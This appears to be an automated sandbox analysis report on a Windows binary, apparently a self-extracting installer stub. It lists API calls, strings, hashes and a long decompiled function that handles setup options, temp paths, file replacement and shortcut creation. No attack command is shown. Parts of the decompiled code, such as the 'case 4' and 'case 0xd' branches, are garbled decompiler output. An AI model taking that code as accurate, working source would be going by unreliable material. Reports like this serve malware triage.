GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0135FD79
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 0135FD9C
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 01360047
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0136005F
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 01360071
ReadFile.KERNEL32(00000000,?,00007FFE,013828D4,00000000), ref: 01360090
CloseHandle.KERNEL32(00000000), ref: 013600E8
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 013600FE
CompareStringW.KERNELBASE(00000400,00001001,01382920,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 01360158
GetFileAttributesW.KERNELBASE(?,?,013828EC,00000800,?,00000000,?,00000800), ref: 01360181
GetFileAttributesW.KERNEL32(?,?,013829AC,00000800), ref: 013601BA

Part of subcall function 0135FCFD: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 0135FD18
Part of subcall function 0135FCFD: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0135E7F6,Crypt32.dll,?,0135E878,?,0135E85C,?,?,?,?), ref: 0135FD3A

_swprintf.LIBCMT ref: 0136022A
_swprintf.LIBCMT ref: 01360276

Part of subcall function 01353E41: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 01353E54

AllocConsole.KERNEL32 ref: 0136027E
GetCurrentProcessId.KERNEL32 ref: 01360288
AttachConsole.KERNEL32(00000000), ref: 0136028F
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 013602B5
WriteConsoleW.KERNEL32(00000000), ref: 013602BC
Sleep.KERNEL32(00002710), ref: 013602C7
FreeConsole.KERNEL32 ref: 013602CD
ExitProcess.KERNEL32 ref: 013602D5

Strings

SetDefaultDllDirectories, xrefs: 0135FD96
DXGIDebug.dll, xrefs: 0135FDD9, 01360144
dwmapi.dll, xrefs: 0135FE04, 013601ED
SetDllDirectoryW, xrefs: 0135FD73
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 01360264
uxtheme.dll, xrefs: 013601F7
kernel32, xrefs: 0135FD57

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1201351596-3298887752
Opcode ID: 8b78e2964d3d97588201b30e39c967e6b7d69960bd0502b2b0e69b78ead82019
Instruction ID: b79f0410570eadee021974773b7d633f0e7501af5769b6450019bf62970e789e
Opcode Fuzzy Hash: 8b78e2964d3d97588201b30e39c967e6b7d69960bd0502b2b0e69b78ead82019
Instruction Fuzzy Hash: DBD17CB50083859FD739AF64C849B9FBAECBF8570CF50481CFA999A244CB74854DCB62

Uniqueness

Uniqueness Score: -1.00%

Function 0136B4C7, Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 438
windowfileCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0136B4C7(void* __edx) {
				intOrPtr _t215;
				void* _t220;
				intOrPtr _t278;
				void* _t291;
				WCHAR* _t293;
				void* _t296;
				WCHAR* _t297;
				void* _t302;

				_t291 = __edx;
				E0136D870(E0138150B, _t302);
				_t215 = 0x1bc80;
				E0136D940();
				if( *((intOrPtr*)(_t302 + 0xc)) == 0) {
					L169:
					 *[fs:0x0] =  *((intOrPtr*)(_t302 - 0xc));
					return _t215;
				}
				_push(0x1000);
				_push(_t302 - 0xe);
				_push(_t302 - 0xd);
				_push(_t302 - 0x5c84);
				_push(_t302 - 0xfc8c);
				_push( *((intOrPtr*)(_t302 + 0xc)));
				_t215 = E0136A156();
				 *((intOrPtr*)(_t302 + 0xc)) = 0x1bc80;
				if(0x1bc80 != 0) {
					_t278 =  *((intOrPtr*)(_t302 + 0x10));
					do {
						_t220 = _t302 - 0x5c84;
						_t296 = _t302 - 0x1bc8c;
						_t293 = 6;
						goto L4;
						L6:
						while(E01361410(_t302 - 0xfc8c,  *((intOrPtr*)(0x138d618 + _t297 * 4))) != 0) {
							_t297 =  &(_t297[0]);
							if(_t297 < 0xe) {
								continue;
							} else {
								goto L167;
							}
						}
						if(_t297 > 0xd) {
							goto L167;
						}
						switch( *((intOrPtr*)(_t297 * 4 +  &M0136C0D7))) {
							case 0:
								__eflags = _t278 - 2;
								if(_t278 != 2) {
									goto L167;
								}
								_t299 = 0x800;
								E013695F8(_t302 - 0x7c84, 0x800);
								E0135A188(E0135B625(_t302 - 0x7c84, _t302 - 0x5c84, _t302 - 0xdc8c, 0x800), _t278, _t302 - 0x8c8c, 0x800);
								 *(_t302 - 4) = _t293;
								E0135A2C2(_t302 - 0x8c8c, _t302 - 0xdc8c);
								E01356EF9(_t302 - 0x3c84);
								_push(_t293);
								_t286 = _t302 - 0x8c8c;
								_t238 = E0135A215(_t302 - 0x8c8c, _t291, _t302 - 0x3c84);
								__eflags = _t238;
								if(_t238 == 0) {
									L28:
									 *(_t302 - 4) =  *(_t302 - 4) | 0xffffffff;
									E0135A19E(_t302 - 0x8c8c);
									goto L167;
								} else {
									goto L15;
									L16:
									E0135B1B7(_t286, __eflags, _t302 - 0x7c84, _t302 - 0x103c, _t299);
									E0135AEA5(__eflags, _t302 - 0x103c, _t299);
									_t301 = E01372B33(_t302 - 0x7c84);
									__eflags = _t301 - 4;
									if(_t301 < 4) {
										L18:
										_t266 = E0135B5E5(_t302 - 0x5c84);
										__eflags = _t266;
										if(_t266 != 0) {
											goto L28;
										}
										L19:
										_t268 = E01372B33(_t302 - 0x3c84);
										__eflags = 0;
										 *((short*)(_t302 + _t268 * 2 - 0x3c82)) = 0;
										E0136E920(_t293, _t302 - 0x3c, _t293, 0x1e);
										_t304 = _t304 + 0x10;
										 *((intOrPtr*)(_t302 - 0x38)) = 3;
										_push(0x14);
										_pop(_t271);
										 *((short*)(_t302 - 0x2c)) = _t271;
										 *((intOrPtr*)(_t302 - 0x34)) = _t302 - 0x3c84;
										_push(_t302 - 0x3c);
										 *0x138def4();
										goto L20;
									}
									_t276 = E01372B33(_t302 - 0x103c);
									__eflags = _t301 - _t276;
									if(_t301 > _t276) {
										goto L19;
									}
									goto L18;
									L20:
									_t243 = GetFileAttributesW(_t302 - 0x3c84);
									__eflags = _t243 - 0xffffffff;
									if(_t243 == 0xffffffff) {
										L27:
										_push(_t293);
										_t286 = _t302 - 0x8c8c;
										_t245 = E0135A215(_t302 - 0x8c8c, _t291, _t302 - 0x3c84);
										__eflags = _t245;
										if(_t245 != 0) {
											_t299 = 0x800;
											L15:
											SetFileAttributesW(_t302 - 0x3c84, _t293);
											__eflags =  *((char*)(_t302 - 0x2c78));
											if(__eflags == 0) {
												goto L20;
											}
											goto L16;
										}
										goto L28;
									}
									_t247 = DeleteFileW(_t302 - 0x3c84);
									__eflags = _t247;
									if(_t247 != 0) {
										goto L27;
									} else {
										_t300 = _t293;
										_push(_t293);
										goto L24;
										L24:
										E01353E41(_t302 - 0x103c, 0x800, L"%s.%d.tmp", _t302 - 0x3c84);
										_t304 = _t304 + 0x14;
										_t252 = GetFileAttributesW(_t302 - 0x103c);
										__eflags = _t252 - 0xffffffff;
										if(_t252 != 0xffffffff) {
											_t300 = _t300 + 1;
											__eflags = _t300;
											_push(_t300);
											goto L24;
										} else {
											_t255 = MoveFileW(_t302 - 0x3c84, _t302 - 0x103c);
											__eflags = _t255;
											if(_t255 != 0) {
												MoveFileExW(_t302 - 0x103c, _t293, 4);
											}
											goto L27;
										}
									}
								}
							case 1:
								__eflags = __ebx;
								if(__ebx == 0) {
									__eax = E01372B33(__esi);
									__eax = __eax + __edi;
									_push(__eax);
									_push( *0x13ace0c);
									__eax = E01372B5E(__ecx, __edx);
									__esp = __esp + 0xc;
									__eflags = __eax;
									if(__eax != 0) {
										 *0x13ace0c = __eax;
										__eflags = __bl;
										if(__bl != 0) {
											__ecx = 0;
											__eflags = 0;
											 *__eax = __cx;
										}
										__eax = E013766ED(__eax, __esi);
										_pop(__ecx);
										_pop(__ecx);
									}
									__eflags = __bh;
									if(__bh == 0) {
										__eax = L01372B4E(__esi);
									}
								}
								goto L167;
							case 2:
								__eflags = __ebx;
								if(__ebx == 0) {
									__ebp - 0x5c84 = SetWindowTextW( *(__ebp + 8), __ebp - 0x5c84);
								}
								goto L167;
							case 3:
								__eflags = __ebx;
								if(__ebx != 0) {
									goto L167;
								}
								__eflags =  *0x1399602 - __di;
								if( *0x1399602 != __di) {
									goto L167;
								}
								__eax = 0;
								__edi = __ebp - 0x5c84;
								_push(0x22);
								 *(__ebp - 0x103c) = __ax;
								_pop(__eax);
								__eflags =  *(__ebp - 0x5c84) - __ax;
								if( *(__ebp - 0x5c84) == __ax) {
									__edi = __ebp - 0x5c82;
								}
								__eax = E01372B33(__edi);
								__esi = 0x800;
								__eflags = __eax - 0x800;
								if(__eax >= 0x800) {
									goto L167;
								} else {
									__eax =  *__edi & 0x0000ffff;
									_push(0x5c);
									_pop(__ecx);
									__eflags = ( *__edi & 0x0000ffff) - 0x2e;
									if(( *__edi & 0x0000ffff) != 0x2e) {
										L54:
										__eflags = __ax - __cx;
										if(__ax == __cx) {
											L66:
											__ebp - 0x103c = E0135FAB1(__ebp - 0x103c, __edi, __esi);
											__ebx = 0;
											__eflags = 0;
											L67:
											_push(0x22);
											_pop(__eax);
											__eax = __ebp - 0x103c;
											__eax = E01370D9B(__ebp - 0x103c, __ebp - 0x103c);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags =  *((intOrPtr*)(__eax + 2)) - __bx;
												if( *((intOrPtr*)(__eax + 2)) == __bx) {
													__ecx = 0;
													__eflags = 0;
													 *__eax = __cx;
												}
											}
											__eax = __ebp - 0x103c;
											__edi = 0x1399602;
											E0135FAB1(0x1399602, __ebp - 0x103c, __esi) = __ebp - 0x103c;
											__eax = E01369FFC(__ebp - 0x103c, __esi);
											__esi = GetDlgItem( *(__ebp + 8), 0x66);
											__ebp - 0x103c = SetWindowTextW(__esi, __ebp - 0x103c); // executed
											__ebx =  *0x138df7c;
											__eax = SendMessageW(__esi, 0x143, __ebx, 0x1399602); // executed
											__eax = __ebp - 0x103c;
											__eax = E01372B69(__ebp - 0x103c, 0x1399602, __eax);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__ebp - 0x103c = 0;
												__eax = SendMessageW(__esi, 0x143, 0, __ebp - 0x103c);
											}
											goto L167;
										}
										__eflags = __ax;
										if(__ax == 0) {
											L57:
											__eax = __ebp - 0x18;
											__ebx = 0;
											_push(__ebp - 0x18);
											_push(1);
											_push(0);
											_push(L"Software\\Microsoft\\Windows\\CurrentVersion");
											_push(0x80000002);
											__eax =  *0x138dea8();
											__eflags = __eax;
											if(__eax == 0) {
												__eax = __ebp - 0x14;
												 *(__ebp - 0x14) = 0x1000;
												_push(__ebp - 0x14);
												__eax = __ebp - 0x103c;
												_push(__ebp - 0x103c);
												__eax = __ebp - 0x1c;
												_push(__ebp - 0x1c);
												_push(0);
												_push(L"ProgramFilesDir");
												_push( *(__ebp - 0x18));
												__eax =  *0x138dea4();
												_push( *(__ebp - 0x18));
												 *0x138de84() =  *(__ebp - 0x14);
												__ecx = 0x7ff;
												__eax =  *(__ebp - 0x14) >> 1;
												__eflags = __eax - 0x7ff;
												if(__eax >= 0x7ff) {
													__eax = 0x7ff;
												}
												__ecx = 0;
												__eflags = 0;
												 *(__ebp + __eax * 2 - 0x103c) = __cx;
											}
											__eflags =  *(__ebp - 0x103c) - __bx;
											if( *(__ebp - 0x103c) != __bx) {
												__eax = __ebp - 0x103c;
												__eax = E01372B33(__ebp - 0x103c);
												_push(0x5c);
												_pop(__ecx);
												__eflags =  *((intOrPtr*)(__ebp + __eax * 2 - 0x103e)) - __cx;
												if(__eflags != 0) {
													__ebp - 0x103c = E0135FA89(__eflags, __ebp - 0x103c, "\\", __esi);
												}
											}
											__esi = E01372B33(__edi);
											__eax = __ebp - 0x103c;
											__eflags = __esi - 0x7ff;
											__esi = 0x800;
											if(__eflags < 0) {
												__ebp - 0x103c = E0135FA89(__eflags, __ebp - 0x103c, __edi, 0x800);
											}
											goto L67;
										}
										__eflags =  *((short*)(__edi + 2)) - 0x3a;
										if( *((short*)(__edi + 2)) == 0x3a) {
											goto L66;
										}
										goto L57;
									}
									__eflags =  *((intOrPtr*)(__edi + 2)) - __cx;
									if( *((intOrPtr*)(__edi + 2)) != __cx) {
										goto L54;
									}
									__edi = __edi + 4;
									__ebx = 0;
									__eflags =  *__edi - __bx;
									if( *__edi == __bx) {
										goto L167;
									} else {
										__ebp - 0x103c = E0135FAB1(__ebp - 0x103c, __edi, 0x800);
										goto L67;
									}
								}
							case 4:
								__eflags =  *0x13995fc - 1;
								__eflags = __eax - 0x13995fc;
								 *__edi =  *__edi + __ecx;
								__eflags =  *(__ebx + 6) & __bl;
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
							case 5:
								__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
								__ecx = 0;
								__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									L84:
									 *0x13975d2 = __cl;
									 *0x13975d3 = 1;
									goto L167;
								}
								__eax = __eax - 0x30;
								__eflags = __eax;
								if(__eax == 0) {
									 *0x13975d2 = __cl;
									L83:
									 *0x13975d3 = __cl;
									goto L167;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax == 0) {
									goto L84;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									goto L167;
								}
								 *0x13975d2 = 1;
								goto L83;
							case 6:
								__eflags = __ebx - 4;
								if(__ebx != 4) {
									goto L94;
								}
								__eax = __ebp - 0x5c84;
								__eax = E01372B69(__ebp - 0x5c84, __eax, L"<>");
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax == 0) {
									goto L94;
								}
								_push(__edi);
								goto L93;
							case 7:
								__eflags = __ebx - 1;
								if(__eflags != 0) {
									L115:
									__eflags = __ebx - 7;
									if(__ebx == 7) {
										__eflags =  *0x13995fc;
										if( *0x13995fc == 0) {
											 *0x13995fc = 2;
										}
										 *0x13985f8 = 1;
									}
									goto L167;
								}
								__eax = __ebp - 0x7c84;
								__edi = 0x800;
								GetTempPathW(0x800, __ebp - 0x7c84) = __ebp - 0x7c84;
								E0135AEA5(__eflags, __ebp - 0x7c84, 0x800) = 0;
								__esi = 0;
								_push(0);
								while(1) {
									_push( *0x138d5f8);
									__ebp - 0x7c84 = E01353E41(0x13985fa, __edi, L"%s%s%u", __ebp - 0x7c84);
									__eax = E01359E6B(0x13985fa);
									__eflags = __al;
									if(__al == 0) {
										break;
									}
									__esi =  &(__esi->i);
									__eflags = __esi;
									_push(__esi);
								}
								__eax = SetDlgItemTextW( *(__ebp + 8), 0x66, 0x13985fa);
								__eflags =  *(__ebp - 0x5c84);
								if( *(__ebp - 0x5c84) == 0) {
									goto L167;
								}
								__eflags =  *0x13a5d02;
								if( *0x13a5d02 != 0) {
									goto L167;
								}
								__eax = 0;
								 *(__ebp - 0x143c) = __ax;
								__eax = __ebp - 0x5c84;
								_push(0x2c);
								_push(__ebp - 0x5c84);
								__eax = E01370BB8(__ecx);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									L111:
									__eflags =  *(__ebp - 0x143c);
									if( *(__ebp - 0x143c) == 0) {
										__ebp - 0x1bc8c = __ebp - 0x5c84;
										E0135FAB1(__ebp - 0x5c84, __ebp - 0x1bc8c, 0x1000) = __ebp - 0x19c8c;
										__ebp - 0x143c = E0135FAB1(__ebp - 0x143c, __ebp - 0x19c8c, 0x200);
									}
									__ebp - 0x5c84 = E01369C4F(__ebp - 0x5c84);
									__eax = 0;
									 *(__ebp - 0x4c84) = __ax;
									__ebp - 0x143c = __ebp - 0x5c84;
									__eax = E01369735( *(__ebp + 8), __ebp - 0x5c84, __ebp - 0x143c, 0x24);
									__eflags = __eax - 6;
									if(__eax == 6) {
										goto L167;
									} else {
										__eax = 0;
										__eflags = 0;
										 *0x13975d7 = 1;
										 *0x13985fa = __ax;
										__eax = EndDialog( *(__ebp + 8), 1);
										goto L115;
									}
								}
								__edx = 0;
								__esi = 0;
								__eflags =  *(__ebp - 0x5c84) - __dx;
								if( *(__ebp - 0x5c84) == __dx) {
									goto L111;
								}
								__ecx = 0;
								__eax = __ebp - 0x5c84;
								while(1) {
									__eflags =  *__eax - 0x40;
									if( *__eax == 0x40) {
										break;
									}
									__esi =  &(__esi->i);
									__eax = __ebp - 0x5c84;
									__ecx = __esi + __esi;
									__eax = __ebp - 0x5c84 + __ecx;
									__eflags =  *__eax - __dx;
									if( *__eax != __dx) {
										continue;
									}
									goto L111;
								}
								__ebp - 0x5c82 = __ebp - 0x5c82 + __ecx;
								__ebp - 0x143c = E0135FAB1(__ebp - 0x143c, __ebp - 0x5c82 + __ecx, 0x200);
								__eax = 0;
								__eflags = 0;
								 *(__ebp + __esi * 2 - 0x5c84) = __ax;
								goto L111;
							case 8:
								__eflags = __ebx - 3;
								if(__ebx == 3) {
									__eflags =  *(__ebp - 0x5c84) - __di;
									if(__eflags != 0) {
										__eax = __ebp - 0x5c84;
										_push(__ebp - 0x5c84);
										__eax = E0137668C(__ebx, __edi);
										_pop(__ecx);
										 *0x13ade1c = __eax;
									}
									__eax = __ebp + 0xc;
									_push(__ebp + 0xc);
									 *0x13ade18 = E0136A2AE(__ecx, __edx, __eflags);
								}
								 *0x13a5d03 = 1;
								goto L167;
							case 9:
								__eflags = __ebx - 5;
								if(__ebx != 5) {
									L94:
									 *0x13ade20 = 1;
									goto L167;
								}
								_push(1);
								L93:
								__eax = __ebp - 0x5c84;
								_push(__ebp - 0x5c84);
								_push( *(__ebp + 8));
								__eax = E0136C431();
								goto L94;
							case 0xa:
								__eflags = __ebx - 6;
								if(__ebx != 6) {
									goto L167;
								}
								__eax = 0;
								 *(__ebp - 0x2c3c) = __ax;
								__eax =  *(__ebp - 0x1bc8c) & 0x0000ffff;
								__eax = E013759C0( *(__ebp - 0x1bc8c) & 0x0000ffff);
								_push(0x800);
								__eflags = __eax - 0x50;
								if(__eax == 0x50) {
									_push(0x13aad0a);
									__eax = __ebp - 0x2c3c;
									_push(__ebp - 0x2c3c);
									__eax = E0135FAB1();
									 *(__ebp - 0x14) = 2;
								} else {
									__eflags = __eax - 0x54;
									__eax = __ebp - 0x2c3c;
									if(__eflags == 0) {
										_push(0x13a9d0a);
										_push(__eax);
										__eax = E0135FAB1();
										 *(__ebp - 0x14) = 7;
									} else {
										_push(0x13abd0a);
										_push(__eax);
										__eax = E0135FAB1();
										 *(__ebp - 0x14) = 0x10;
									}
								}
								__eax = 0;
								 *(__ebp - 0x9c8c) = __ax;
								 *(__ebp - 0x1c3c) = __ax;
								__ebp - 0x19c8c = __ebp - 0x6c84;
								__eax = E01374D7E(__ebp - 0x6c84, __ebp - 0x19c8c);
								_pop(__ecx);
								_pop(__ecx);
								_push(0x22);
								_pop(__ebx);
								__eflags =  *(__ebp - 0x6c84) - __bx;
								if( *(__ebp - 0x6c84) != __bx) {
									__ebp - 0x6c84 = E01359E6B(__ebp - 0x6c84);
									__eflags = __al;
									if(__al != 0) {
										goto L152;
									}
									__ebx = __edi;
									__esi = __ebp - 0x6c84;
									__eflags =  *(__ebp - 0x6c84) - __bx;
									if( *(__ebp - 0x6c84) == __bx) {
										goto L152;
									}
									_push(0x20);
									_pop(__ecx);
									do {
										__eax = __esi->i & 0x0000ffff;
										__eflags = __ax - __cx;
										if(__ax == __cx) {
											L140:
											__edi = __eax;
											__eax = 0;
											__esi->i = __ax;
											__ebp - 0x6c84 = E01359E6B(__ebp - 0x6c84);
											__eflags = __al;
											if(__al == 0) {
												__esi->i = __di;
												L148:
												_push(0x20);
												_pop(__ecx);
												__edi = 0;
												__eflags = 0;
												goto L149;
											}
											_push(0x2f);
											_pop(__eax);
											__ebx = __esi;
											__eflags = __di - __ax;
											if(__di != __ax) {
												_push(0x20);
												_pop(__eax);
												do {
													__esi =  &(__esi->i);
													__eflags = __esi->i - __ax;
												} while (__esi->i == __ax);
												_push(__esi);
												__eax = __ebp - 0x1c3c;
												L146:
												_push(__eax);
												__eax = E01374D7E();
												_pop(__ecx);
												_pop(__ecx);
												 *__ebx = __di;
												goto L148;
											}
											 *(__ebp - 0x1c3c) = __ax;
											__eax =  &(__esi->i);
											_push( &(__esi->i));
											__eax = __ebp - 0x1c3a;
											goto L146;
										}
										_push(0x2f);
										_pop(__edx);
										__eflags = __ax - __dx;
										if(__ax != __dx) {
											goto L149;
										}
										goto L140;
										L149:
										__esi =  &(__esi->i);
										__eflags = __esi->i - __di;
									} while (__esi->i != __di);
									__eflags = __ebx;
									if(__ebx != 0) {
										__eax = 0;
										__eflags = 0;
										 *__ebx = __ax;
									}
									goto L152;
								} else {
									__ebp - 0x19c8a = __ebp - 0x6c84;
									E01374D7E(__ebp - 0x6c84, __ebp - 0x19c8a) = __ebp - 0x6c82;
									_push(__ebx);
									_push(__ebp - 0x6c82);
									__eax = E01370BB8(__ecx);
									__esp = __esp + 0x10;
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 0;
										 *__eax = __cx;
										__ebp - 0x1c3c = E01374D7E(__ebp - 0x1c3c, __ebp - 0x1c3c);
										_pop(__ecx);
										_pop(__ecx);
									}
									L152:
									__eflags =  *(__ebp - 0x11c8c);
									__ebx = 0x800;
									if( *(__ebp - 0x11c8c) != 0) {
										_push(0x800);
										__eax = __ebp - 0x9c8c;
										_push(__ebp - 0x9c8c);
										__eax = __ebp - 0x11c8c;
										_push(__ebp - 0x11c8c);
										__eax = E0135AED7();
									}
									_push(__ebx);
									__eax = __ebp - 0xbc8c;
									_push(__ebp - 0xbc8c);
									__eax = __ebp - 0x6c84;
									_push(__ebp - 0x6c84);
									__eax = E0135AED7();
									__eflags =  *(__ebp - 0x2c3c);
									if(__eflags == 0) {
										__ebp - 0x2c3c = E0136A24E(__ecx, __ebp - 0x2c3c,  *(__ebp - 0x14));
									}
									__ebp - 0x2c3c = E0135AEA5(__eflags, __ebp - 0x2c3c, __ebx);
									__eflags =  *((short*)(__ebp - 0x17c8c));
									if(__eflags != 0) {
										__ebp - 0x17c8c = __ebp - 0x2c3c;
										E0135FA89(__eflags, __ebp - 0x2c3c, __ebp - 0x17c8c, __ebx) = __ebp - 0x2c3c;
										__eax = E0135AEA5(__eflags, __ebp - 0x2c3c, __ebx);
									}
									__ebp - 0x2c3c = __ebp - 0xcc8c;
									__eax = E01374D7E(__ebp - 0xcc8c, __ebp - 0x2c3c);
									__eflags =  *(__ebp - 0x13c8c);
									__eax = __ebp - 0x13c8c;
									_pop(__ecx);
									_pop(__ecx);
									if(__eflags == 0) {
										__eax = __ebp - 0x19c8c;
									}
									__ebp - 0x2c3c = E0135FA89(__eflags, __ebp - 0x2c3c, __ebp - 0x2c3c, __ebx);
									__eax = __ebp - 0x2c3c;
									__eflags = E0135B153(__ebp - 0x2c3c);
									if(__eflags == 0) {
										L162:
										__ebp - 0x2c3c = E0135FA89(__eflags, __ebp - 0x2c3c, L".lnk", __ebx);
										goto L163;
									} else {
										__eflags = __eax;
										if(__eflags == 0) {
											L163:
											_push(1);
											__eax = __ebp - 0x2c3c;
											_push(__ebp - 0x2c3c);
											E01359D3A(__ecx, __ebp) = __ebp - 0xbc8c;
											__ebp - 0xac8c = E01374D7E(__ebp - 0xac8c, __ebp - 0xbc8c);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0xac8c = E0135B98D(__eflags, __ebp - 0xac8c);
											__ecx =  *(__ebp - 0x1c3c) & 0x0000ffff;
											__eax = __ebp - 0x1c3c;
											__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff);
											__edx = __ebp - 0x9c8c;
											__esi = __ebp - 0xac8c;
											asm("sbb ecx, ecx");
											__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c;
											 *(__ebp - 0x9c8c) & 0x0000ffff =  ~( *(__ebp - 0x9c8c) & 0x0000ffff);
											asm("sbb eax, eax");
											__eax =  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c;
											 *(__ebp - 0xac8c) & 0x0000ffff =  ~( *(__ebp - 0xac8c) & 0x0000ffff);
											__eax = __ebp - 0x15c8c;
											asm("sbb edx, edx");
											__edx =  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi;
											E01369D41(__ebp - 0x15c8c) = __ebp - 0x2c3c;
											__ebp - 0xbc8c = E01369450(__ecx, __edi, __ebp - 0xbc8c, __ebp - 0x2c3c,  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi, __ebp - 0xbc8c,  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c,  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c);
											__eflags =  *(__ebp - 0xcc8c);
											if( *(__ebp - 0xcc8c) != 0) {
												_push(__edi);
												__eax = __ebp - 0xcc8c;
												_push(__ebp - 0xcc8c);
												_push(5);
												_push(0x1000);
												__eax =  *0x138def8();
											}
											goto L167;
										}
										goto L162;
									}
								}
							case 0xb:
								__eflags = __ebx - 7;
								if(__ebx == 7) {
									 *0x1399600 = 1;
								}
								goto L167;
							case 0xc:
								__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
								__eax = E013759C0( *(__ebp - 0x5c84) & 0x0000ffff);
								__eflags = __eax - 0x46;
								if(__eax == 0x46) {
									 *0x13975d4 = 1;
								} else {
									__eflags = __eax - 0x55;
									if(__eax == 0x55) {
										 *0x13975d5 = 1;
									} else {
										__eax = 0;
										 *0x13975d4 = __al;
										 *0x13975d5 = __al;
									}
								}
								goto L167;
							case 0xd:
								 *0x13ade21 = 1;
								__eax = __eax + 0x13ade21;
								_t112 = __esi + 0x39;
								 *_t112 =  *(__esi + 0x39) + __esp;
								__eflags =  *_t112;
								__ebp = 0xffffa37c;
								if( *_t112 != 0) {
									_t114 = __ebp - 0x5c84; // 0xffff46f8
									__eax = _t114;
									_push(_t114);
									 *0x138d5fc = E013613FC();
								}
								goto L167;
						}
						L4:
						_t220 = E01369E24(_t220, _t296);
						_t296 = _t296 + 0x2000;
						_t293 = _t293 - 1;
						if(_t293 != 0) {
							goto L4;
						} else {
							_t297 = _t293;
							goto L6;
						}
						L167:
						_push(0x1000);
						_t205 = _t302 - 0xe; // 0xffffa36e
						_t206 = _t302 - 0xd; // 0xffffa36f
						_t207 = _t302 - 0x5c84; // 0xffff46f8
						_t208 = _t302 - 0xfc8c; // 0xfffea6f0
						_push( *((intOrPtr*)(_t302 + 0xc)));
						_t215 = E0136A156();
						_t278 =  *((intOrPtr*)(_t302 + 0x10));
						 *((intOrPtr*)(_t302 + 0xc)) = _t215;
					} while (_t215 != 0);
				}
			}

0x0136b4c7
0x0136b4cc
0x0136b4d1
0x0136b4d6
0x0136b4df
0x0136c0c7
0x0136c0ca
0x0136c0d4
0x0136c0d4
0x0136b4e5
0x0136b4ed
0x0136b4f1
0x0136b4f8
0x0136b4ff
0x0136b500
0x0136b503
0x0136b50a
0x0136b50f
0x0136b516
0x0136b51b
0x0136b51d
0x0136b523
0x0136b529
0x0136b529
0x00000000
0x0136b53e
0x0136b555
0x0136b559
0x00000000
0x0136b55b
0x00000000
0x0136b55b
0x0136b559
0x0136b563
0x00000000
0x00000000
0x0136b569
0x00000000
0x0136b570
0x0136b573
0x00000000
0x00000000
0x0136b579
0x0136b586
0x0136b5ac
0x0136b5b7
0x0136b5c1
0x0136b5cc
0x0136b5d1
0x0136b5d9
0x0136b5df
0x0136b5e4
0x0136b5e6
0x0136b74b
0x0136b74b
0x0136b755
0x00000000
0x0136b5ec
0x0136b5f2
0x0136b614
0x0136b623
0x0136b630
0x0136b641
0x0136b644
0x0136b647
0x0136b65a
0x0136b661
0x0136b666
0x0136b668
0x00000000
0x00000000
0x0136b66e
0x0136b675
0x0136b67a
0x0136b67f
0x0136b68b
0x0136b690
0x0136b693
0x0136b69a
0x0136b69c
0x0136b69d
0x0136b6a7
0x0136b6ad
0x0136b6ae
0x00000000
0x0136b6ae
0x0136b650
0x0136b656
0x0136b658
0x00000000
0x00000000
0x00000000
0x0136b6b4
0x0136b6bb
0x0136b6bd
0x0136b6c0
0x0136b730
0x0136b730
0x0136b738
0x0136b73e
0x0136b743
0x0136b745
0x0136b5f4
0x0136b5f9
0x0136b601
0x0136b607
0x0136b60e
0x00000000
0x00000000
0x00000000
0x0136b60e
0x00000000
0x0136b745
0x0136b6c9
0x0136b6cf
0x0136b6d1
0x00000000
0x0136b6d3
0x0136b6d3
0x0136b6d5
0x0136b6d6
0x0136b6da
0x0136b6f2
0x0136b6f7
0x0136b701
0x0136b703
0x0136b706
0x0136b6d8
0x0136b6d8
